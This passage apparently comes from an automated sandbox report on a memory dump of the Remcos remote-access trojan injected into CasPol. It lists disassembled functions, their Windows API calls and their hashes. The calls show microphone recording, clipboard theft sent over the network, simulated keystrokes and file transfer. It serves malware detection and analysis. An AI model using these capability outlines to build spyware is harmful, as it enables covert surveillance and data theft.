                                                                                                                                                                  Function 0040196B Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 72COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0040197B
                                                                                                                                                                  • waveInOpen.WINMM(00471AF8,000000FF,00471B00,Function_00001A8E,00000000,00000000), ref: 00401A11
                                                                                                                                                                  • waveInPrepareHeader.WINMM(00471AC0,00000020,00000000), ref: 00401A66
                                                                                                                                                                  • waveInAddBuffer.WINMM(00471AC0,00000020), ref: 00401A75
                                                                                                                                                                  • waveInStart.WINMM ref: 00401A81
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: wave$BufferCreateDirectoryHeaderOpenPrepareStart
                                                                                                                                                                  • String ID: XCG$`=G$x=G
                                                                                                                                                                  • API String ID: 1356121797-903574159
                                                                                                                                                                  • Opcode ID: ccd0c3bdb441db855719f52f26becbf2123e5d26e4d3fe3fdac9f84fbce65878
                                                                                                                                                                  • Instruction ID: 1c4952ee711c82e1d68262a7885cb64ec938acb60d992cd4a46dee1db52e037b
                                                                                                                                                                  • Opcode Fuzzy Hash: ccd0c3bdb441db855719f52f26becbf2123e5d26e4d3fe3fdac9f84fbce65878
                                                                                                                                                                  • Instruction Fuzzy Hash: 87215C316012009BC704DF7EFD1696A7BA9FB85742B00843AF50DE76B0EBB89880CB4C
                                                                                                                                                                  Function 0041C96F Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 47windowstringCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041C988
                                                                                                                                                                    • Part of subcall function 0041CA1F: RegisterClassExA.USER32 ref: 0041CA6C
                                                                                                                                                                    • Part of subcall function 0041CA1F: CreateWindowExA.USER32 ref: 0041CA87
                                                                                                                                                                    • Part of subcall function 0041CA1F: GetLastError.KERNEL32 ref: 0041CA91
                                                                                                                                                                  • ExtractIconA.SHELL32(00000000,?,00000000), ref: 0041C9BF
                                                                                                                                                                  • lstrcpynA.KERNEL32(00473B68,Remcos,00000080), ref: 0041C9D9
                                                                                                                                                                  • Shell_NotifyIconA.SHELL32(00000000,00473B50), ref: 0041C9EF
                                                                                                                                                                  • TranslateMessage.USER32(?), ref: 0041C9FB
                                                                                                                                                                  • DispatchMessageA.USER32(?), ref: 0041CA05
                                                                                                                                                                  • GetMessageA.USER32 ref: 0041CA12
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Message$Icon$ClassCreateDispatchErrorExtractFileLastModuleNameNotifyRegisterShell_TranslateWindowlstrcpyn
                                                                                                                                                                  • String ID: Remcos
                                                                                                                                                                  • API String ID: 1970332568-165870891
                                                                                                                                                                  • Opcode ID: 3916a83a2764b610bd39468394578f6b6e569060e520b3e5816c6a16bad35c1f
                                                                                                                                                                  • Instruction ID: 0af2178feff80faf092f0d4c6bffee9b758878d1eb04e36c9ad6546aee081b39
                                                                                                                                                                  • Opcode Fuzzy Hash: 3916a83a2764b610bd39468394578f6b6e569060e520b3e5816c6a16bad35c1f
                                                                                                                                                                  • Instruction Fuzzy Hash: 760121B1944344ABD7109FA5FC4CEDA7BBCAB45B16F004035F605E2162D7B8A285DB2D
                                                                                                                                                                  Function 0044B450 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID:
                                                                                                                                                                  • Opcode ID: a2fd919219da5dceb4fadf527de6f56cb4df21625ee46edd218c435833ca4f57
                                                                                                                                                                  • Instruction ID: 1e235cce983953b2f50cc3566bc78ab2d8216d31b9fa4c429b6f00869d8f9d70
                                                                                                                                                                  • Opcode Fuzzy Hash: a2fd919219da5dceb4fadf527de6f56cb4df21625ee46edd218c435833ca4f57
                                                                                                                                                                  • Instruction Fuzzy Hash: 27C1D774D04249AFEF11DFA9C8417AEBBB4FF4A304F14405AE814A7392C778D941CBA9
                                                                                                                                                                  Function 00452B2A Relevance: 13.8, APIs: 9, Instructions: 268COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,00452E03,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 00452BD6
                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,00452E03,00000000,00000000,?,00000001,?,?,?,?), ref: 00452C59
                                                                                                                                                                  • __alloca_probe_16.LIBCMT ref: 00452C91
                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000001,00000000,00452E03,?,00452E03,00000000,00000000,?,00000001,?,?,?,?), ref: 00452CEC
                                                                                                                                                                  • __alloca_probe_16.LIBCMT ref: 00452D3B
                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,00452E03,00000000,00000000,?,00000001,?,?,?,?), ref: 00452D03
                                                                                                                                                                    • Part of subcall function 00446AFF: RtlAllocateHeap.NTDLL(00000000,00434423,?,?,00437227,?,?,00000000,00475B70,?,0040CC87,00434423,?,?,?,?), ref: 00446B31
                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,00452E03,00000000,00000000,?,00000001,?,?,?,?), ref: 00452D7F
                                                                                                                                                                  • __freea.LIBCMT ref: 00452DAA
                                                                                                                                                                  • __freea.LIBCMT ref: 00452DB6
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocateHeapInfo
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 201697637-0
                                                                                                                                                                  • Opcode ID: 51fcd5d0f12c7252ccb3cdd53779652c124c35418bee1affee7c5fbc1305f75c
                                                                                                                                                                  • Instruction ID: c0da75549b7b47b94c7346473649b17197e9394d7568cc7349c1d05b16f9ad8a
                                                                                                                                                                  • Opcode Fuzzy Hash: 51fcd5d0f12c7252ccb3cdd53779652c124c35418bee1affee7c5fbc1305f75c
                                                                                                                                                                  • Instruction Fuzzy Hash: F391D872E002169BDF218E64CA51EEF7BB5AF0A315F14055BEC04E7243D7A9DC48CB68
                                                                                                                                                                  Function 004443F9 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,?,?,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B), ref: 00446EC3
                                                                                                                                                                    • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                                                                                                                                    • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F37
                                                                                                                                                                    • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                                                                                                                                  • _memcmp.LIBVCRUNTIME ref: 004446A3
                                                                                                                                                                  • _free.LIBCMT ref: 00444714
                                                                                                                                                                  • _free.LIBCMT ref: 0044472D
                                                                                                                                                                  • _free.LIBCMT ref: 0044475F
                                                                                                                                                                  • _free.LIBCMT ref: 00444768
                                                                                                                                                                  • _free.LIBCMT ref: 00444774
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _free$ErrorLast$_abort_memcmp
                                                                                                                                                                  • String ID: C
                                                                                                                                                                  • API String ID: 1679612858-1037565863
                                                                                                                                                                  • Opcode ID: b3bb612f52cd01851518acec42876c64f75404bfee4e20e1c1da8053f10e2069
                                                                                                                                                                  • Instruction ID: 3c523a64da6f7cdf058c983f33271b3c05ff2f19a58e511a78fa6d1555c07658
                                                                                                                                                                  • Opcode Fuzzy Hash: b3bb612f52cd01851518acec42876c64f75404bfee4e20e1c1da8053f10e2069
                                                                                                                                                                  • Instruction Fuzzy Hash: 19B13975A012199FEB24DF18C885BAEB7B4FB49304F1485AEE909A7350D739AE90CF44
                                                                                                                                                                  Function 004139C7 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 228COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID: tcp$udp
                                                                                                                                                                  • API String ID: 0-3725065008
                                                                                                                                                                  • Opcode ID: feee9516c16efef68815b89ade9cbffe5bf55ce5106af849680fee818ce7e4b0
                                                                                                                                                                  • Instruction ID: e59cad8d3053530f07be13ad944632c35d9115139dfdf9e987abb4c2b311e0ee
                                                                                                                                                                  • Opcode Fuzzy Hash: feee9516c16efef68815b89ade9cbffe5bf55ce5106af849680fee818ce7e4b0
                                                                                                                                                                  • Instruction Fuzzy Hash: 9171AB316083128FDB24CE5584847ABB6E4AF84746F10043FF885A7352E778DE85CB9A
                                                                                                                                                                  Function 00401768 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 142threadCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • ExitThread.KERNEL32 ref: 004017F4
                                                                                                                                                                    • Part of subcall function 00433519: EnterCriticalSection.KERNEL32(00470D18,00475B70,00475BF0,?,0040179E,00475BF0), ref: 00433524
                                                                                                                                                                    • Part of subcall function 00433519: LeaveCriticalSection.KERNEL32(00470D18,?,0040179E,00475BF0), ref: 00433561
                                                                                                                                                                  • waveInUnprepareHeader.WINMM(?,00000020,00000000), ref: 00401902
                                                                                                                                                                    • Part of subcall function 004338A5: __onexit.LIBCMT ref: 004338AB
                                                                                                                                                                  • __Init_thread_footer.LIBCMT ref: 004017BC
                                                                                                                                                                    • Part of subcall function 004334CF: EnterCriticalSection.KERNEL32(00470D18,00475BF0,?,004017C1,00475BF0,00000000), ref: 004334D9
                                                                                                                                                                    • Part of subcall function 004334CF: LeaveCriticalSection.KERNEL32(00470D18,?,004017C1,00475BF0,00000000), ref: 0043350C
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CriticalSection$EnterLeave$ExitHeaderInit_thread_footerThreadUnprepare__onexitwave
                                                                                                                                                                  • String ID: T=G$p[G$>G$>G
                                                                                                                                                                  • API String ID: 1596592924-2461731529
                                                                                                                                                                  • Opcode ID: 8f70ea2b40fb44211d0b69bbfe51e678a1d722ca5741e51af6e8456a38407156
                                                                                                                                                                  • Instruction ID: b2aa677fe1363808454ef9d3704f93b9908b7cd688e3fd59dcdd6ad405d7ff49
                                                                                                                                                                  • Opcode Fuzzy Hash: 8f70ea2b40fb44211d0b69bbfe51e678a1d722ca5741e51af6e8456a38407156
                                                                                                                                                                  • Instruction Fuzzy Hash: 0D41A0316042019BC324FB65DCA6EAE73A4EB94318F00453FF54AA71F2DF78A945C65E
                                                                                                                                                                  Function 00406BE9 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000), ref: 00406C38
                                                                                                                                                                  • WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00406C80
                                                                                                                                                                    • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00406CC0
                                                                                                                                                                  • MoveFileW.KERNEL32 ref: 00406CDD
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00406D08
                                                                                                                                                                  • DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,0000000A,00000000,00000000), ref: 00406D18
                                                                                                                                                                    • Part of subcall function 0040455B: WaitForSingleObject.KERNEL32(?,000000FF,?,?,0040460E,00000000,?,?), ref: 0040456A
                                                                                                                                                                    • Part of subcall function 0040455B: SetEvent.KERNEL32(?,?,?,0040460E,00000000,?,?), ref: 00404588
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$CloseHandle$CreateDeleteEventMoveObjectSingleWaitWritesend
                                                                                                                                                                  • String ID: .part
                                                                                                                                                                  • API String ID: 1303771098-3499674018
                                                                                                                                                                  • Opcode ID: bc587de7adb1460b3aabd07d1d3e6798b8d85c5b62109ba090974b2b68d51c1e
                                                                                                                                                                  • Instruction ID: a9f2b94bfe891e644ef5b97f564769cd4b441703f4f7d546a0b6aea2ef9939f1
                                                                                                                                                                  • Opcode Fuzzy Hash: bc587de7adb1460b3aabd07d1d3e6798b8d85c5b62109ba090974b2b68d51c1e
                                                                                                                                                                  • Instruction Fuzzy Hash: 1C31C2715083019FD210EF21DD459AFB7A8FB85715F40093FF9C6A21A1DB38AA48CB9A
                                                                                                                                                                  Function 0041A81D Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 90COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00412584: RegOpenKeyExW.ADVAPI32 ref: 004125A6
                                                                                                                                                                    • Part of subcall function 00412584: RegQueryValueExW.ADVAPI32(?,0040E0BA,00000000,00000000,?,00000400), ref: 004125C5
                                                                                                                                                                    • Part of subcall function 00412584: RegCloseKey.ADVAPI32(?), ref: 004125CE
                                                                                                                                                                    • Part of subcall function 0041B15B: GetCurrentProcess.KERNEL32(?,?,?,0040C914,WinDir,00000000,00000000), ref: 0041B16C
                                                                                                                                                                  • _wcslen.LIBCMT ref: 0041A8F6
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseCurrentOpenProcessQueryValue_wcslen
                                                                                                                                                                  • String ID: .exe$:@$XCG$http\shell\open\command$program files (x86)\$program files\
                                                                                                                                                                  • API String ID: 37874593-703403762
                                                                                                                                                                  • Opcode ID: 8d7f7000506fb44ae307e9e559f48fe1fd4854344d8ef950826ae216f426f9bc
                                                                                                                                                                  • Instruction ID: cf464564bb47d370653928ac6653466accee15d45f6204cdc17a1bec324f9b19
                                                                                                                                                                  • Opcode Fuzzy Hash: 8d7f7000506fb44ae307e9e559f48fe1fd4854344d8ef950826ae216f426f9bc
                                                                                                                                                                  • Instruction Fuzzy Hash: 3021B8727001043BDB04BAB58C96DEE366D9B85358F14083FF402F72C2ED3C9D5942A9
                                                                                                                                                                  Function 00418ABE Relevance: 12.1, APIs: 8, Instructions: 117keyboardCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • SendInput.USER32 ref: 00418B08
                                                                                                                                                                  • SendInput.USER32(00000001,?,0000001C), ref: 00418B30
                                                                                                                                                                  • SendInput.USER32(00000001,0000001C,0000001C), ref: 00418B57
                                                                                                                                                                  • SendInput.USER32(00000001,0000001C,0000001C), ref: 00418B75
                                                                                                                                                                  • SendInput.USER32(00000001,0000001C,0000001C), ref: 00418B95
                                                                                                                                                                  • SendInput.USER32(00000001,0000001C,0000001C), ref: 00418BBA
                                                                                                                                                                  • SendInput.USER32(00000001,0000001C,0000001C), ref: 00418BDC
                                                                                                                                                                  • SendInput.USER32(00000001,?,0000001C), ref: 00418BFF
                                                                                                                                                                    • Part of subcall function 00418AB1: MapVirtualKeyA.USER32 ref: 00418AB7
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: InputSend$Virtual
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1167301434-0
                                                                                                                                                                  • Opcode ID: 88f93acc81d4616b4190e12117d1b14dafb1e9928c91053c24dee7c09840eeb6
                                                                                                                                                                  • Instruction ID: ee8b26819532887277ba411a2a2a0296f2420856d0f10470abe43a11d9a37015
                                                                                                                                                                  • Opcode Fuzzy Hash: 88f93acc81d4616b4190e12117d1b14dafb1e9928c91053c24dee7c09840eeb6
                                                                                                                                                                  • Instruction Fuzzy Hash: 3231A471248345AAE210DF65D841FDFFBECAFC5B44F04080FB98457291DAA4D98C87AB
                                                                                                                                                                  Function 00415A45 Relevance: 12.0, APIs: 8, Instructions: 46clipboardCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • OpenClipboard.USER32 ref: 00415A46
                                                                                                                                                                  • EmptyClipboard.USER32 ref: 00415A54
                                                                                                                                                                  • CloseClipboard.USER32 ref: 00415A5A
                                                                                                                                                                  • OpenClipboard.USER32 ref: 00415A61
                                                                                                                                                                  • GetClipboardData.USER32 ref: 00415A71
                                                                                                                                                                  • GlobalLock.KERNEL32(00000000), ref: 00415A7A
                                                                                                                                                                  • GlobalUnlock.KERNEL32(00000000), ref: 00415A83
                                                                                                                                                                  • CloseClipboard.USER32 ref: 00415A89
                                                                                                                                                                    • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Clipboard$CloseGlobalOpen$DataEmptyLockUnlocksend
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2172192267-0
                                                                                                                                                                  • Opcode ID: ed1c07982b29d0ead8c7efce27f1f73f7a3c6531811b5a16733390c9f1490fe0
                                                                                                                                                                  • Instruction ID: 9b100a12d13cc6c4196ee8fc3e520842cce62831b2d72284ea91ff5550736cd9
                                                                                                                                                                  • Opcode Fuzzy Hash: ed1c07982b29d0ead8c7efce27f1f73f7a3c6531811b5a16733390c9f1490fe0
                                                                                                                                                                  • Instruction Fuzzy Hash: A10152312083009FC314BB75EC5AAEE77A5AFC0762F41457EFD06861A2DF38C845D65A
                                                                                                                                                                  Function 00447E3A Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • _free.LIBCMT ref: 00447EBC
                                                                                                                                                                  • _free.LIBCMT ref: 00447EE0
                                                                                                                                                                  • _free.LIBCMT ref: 00448067
                                                                                                                                                                  • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045D478), ref: 00448079
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,0047179C,000000FF,00000000,0000003F,00000000,?,?), ref: 004480F1
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,004717F0,000000FF,?,0000003F,00000000,?), ref: 0044811E
                                                                                                                                                                  • _free.LIBCMT ref: 00448233
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _free$ByteCharMultiWide$InformationTimeZone
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 314583886-0
                                                                                                                                                                  • Opcode ID: 27ecba2f8841fd9bc374cbfe0ae16a2ddc94f833dde90b0adb5aed01379e1676
                                                                                                                                                                  • Instruction ID: d74e55ca02e924b9256a88f94e7be2aa31ce1fd8fbfcff02d88bcfbefc6cbd9d
                                                                                                                                                                  • Opcode Fuzzy Hash: 27ecba2f8841fd9bc374cbfe0ae16a2ddc94f833dde90b0adb5aed01379e1676
                                                                                                                                                                  • Instruction Fuzzy Hash: 32C12871904205ABFB24DF799C41AAE7BB8EF46314F2441AFE484A7351EB388E47C758
                                                                                                                                                                  Function 0044F806 Relevance: 10.7, APIs: 7, Instructions: 204COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _free
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 269201875-0
                                                                                                                                                                  • Opcode ID: 714fb272f4c7917b76c675d30aae230e33aac3baeb4f8630fb8b603ed7da88bc
                                                                                                                                                                  • Instruction ID: 5fecc71d39e6a90402c47f7728bb4f6831cdfeb90858b0dfc168023e2edb8b83
                                                                                                                                                                  • Opcode Fuzzy Hash: 714fb272f4c7917b76c675d30aae230e33aac3baeb4f8630fb8b603ed7da88bc
                                                                                                                                                                  • Instruction Fuzzy Hash: 2361BFB1900205AFEB20DF69C841BAABBF4EB45720F24417BE944FB392E7349D45CB59
                                                                                                                                                                  Function 00443F7B Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 187COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00446AFF: RtlAllocateHeap.NTDLL(00000000,00434423,?,?,00437227,?,?,00000000,00475B70,?,0040CC87,00434423,?,?,?,?), ref: 00446B31
                                                                                                                                                                  • _free.LIBCMT ref: 00444086
                                                                                                                                                                  • _free.LIBCMT ref: 0044409D
                                                                                                                                                                  • _free.LIBCMT ref: 004440BC
                                                                                                                                                                  • _free.LIBCMT ref: 004440D7
                                                                                                                                                                  • _free.LIBCMT ref: 004440EE
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _free$AllocateHeap
                                                                                                                                                                  • String ID: J7D
                                                                                                                                                                  • API String ID: 3033488037-1677391033
                                                                                                                                                                  • Opcode ID: 38e5a99fceb1209b970ed7ac5d3209ab3957ca8cf69c4f68c5a23a15f0ca7666
                                                                                                                                                                  • Instruction ID: b5a2c1f2d034459fb850ff781f480331835685433a1d37f27cfcf8091ebf3f31
                                                                                                                                                                  • Opcode Fuzzy Hash: 38e5a99fceb1209b970ed7ac5d3209ab3957ca8cf69c4f68c5a23a15f0ca7666
                                                                                                                                                                  • Instruction Fuzzy Hash: 9251E371A00604AFEB20DF6AC841B6AB3F4EF95724F14416EE909D7251E739ED15CB88
                                                                                                                                                                  Function 0044A0C3 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetConsoleCP.KERNEL32 ref: 0044A105
                                                                                                                                                                  • __fassign.LIBCMT ref: 0044A180
                                                                                                                                                                  • __fassign.LIBCMT ref: 0044A19B
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 0044A1C1
                                                                                                                                                                  • WriteFile.KERNEL32(?,00000000,00000000,0044A838,00000000), ref: 0044A1E0
                                                                                                                                                                  • WriteFile.KERNEL32(?,?,00000001,0044A838,00000000), ref: 0044A219
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1324828854-0
                                                                                                                                                                  • Opcode ID: c2a57007ecaabeafdb2dea6b541a07f99f491d21749d301156e70ae2fc22959b
                                                                                                                                                                  • Instruction ID: b40464c9ec282996611fef5cbd20273031f87559cdf671a411eba52403cbf28d
                                                                                                                                                                  • Opcode Fuzzy Hash: c2a57007ecaabeafdb2dea6b541a07f99f491d21749d301156e70ae2fc22959b
                                                                                                                                                                  • Instruction Fuzzy Hash: DB51E270E002099FEB10CFA8D881AEEBBF8FF09300F14416BE815E3391D6749951CB6A
                                                                                                                                                                  Function 004559CA Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 152COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _free
                                                                                                                                                                  • String ID: HE$HE
                                                                                                                                                                  • API String ID: 269201875-1978648262
                                                                                                                                                                  • Opcode ID: 7800a519142f47635a8271b71284b9659b79823d2b8030c83ffac0f9e2146641
                                                                                                                                                                  • Instruction ID: 4134de32792d44acead4bb36f8da9b5b282593f8ffe10db144b1eaf4d9577b64
                                                                                                                                                                  • Opcode Fuzzy Hash: 7800a519142f47635a8271b71284b9659b79823d2b8030c83ffac0f9e2146641
